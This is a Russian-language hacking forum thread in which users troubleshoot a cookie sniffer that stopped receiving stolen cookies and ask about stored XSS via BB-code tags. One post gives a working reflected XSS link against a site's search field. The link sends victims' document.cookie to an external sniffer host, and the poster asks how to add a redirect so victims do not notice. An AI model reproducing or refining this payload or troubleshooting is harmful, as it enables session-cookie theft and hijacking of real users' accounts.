у меня на нашем hpc снифере не приходят
куки!
Первый раз пришли (мои же), а потом вообще
перестали. В чем проблема?

а спомощью bb тэга активный xss можно осуществить?

пожалуйста приведите примеры.

почему молчите?

dddoomsday
Теоретически можно, все зависит от фильтра на стороне сервера. XSS - это лишь явление, достичь его можно многими путями с помощью пентеста и экспериментирования.

Мне кто-нибудь ответит?

Используй другой сниффер, хз в чем проблема

Цитата:

Сообщение от Nigerman666

Мне кто-нибудь ответит?

Было предположение что на атакуемом сайте дыру залотали ?

Цитата:

Сообщение от noizZzefan

Было предположение что на атакуемом сайте дыру залотали ?

дыра осталась..

Столкулся с такой проблемой, почему то редирект не работает, на одном сайте нашел пассивку, уязвимость существует на поисковике сайта.
Ядовитая ссылка: http://уязвимый.сайт.ру/search/all?q="> img = new Image(); img.src = "http://сниффер.ру/s.gif?"+document.cookie;
cookies приходит нормально), но ппц палится, просто на просто этот код "> img = new Image(); img.src = "http://сниффер.ру/s.gif?"+document.cookie; остается на поисковике уязвимого сайта и не направляет на другой сайт. В чем может быть проблема?

если использовать location.href ="http://адрес_редиректа/" то куки вообще не приходит.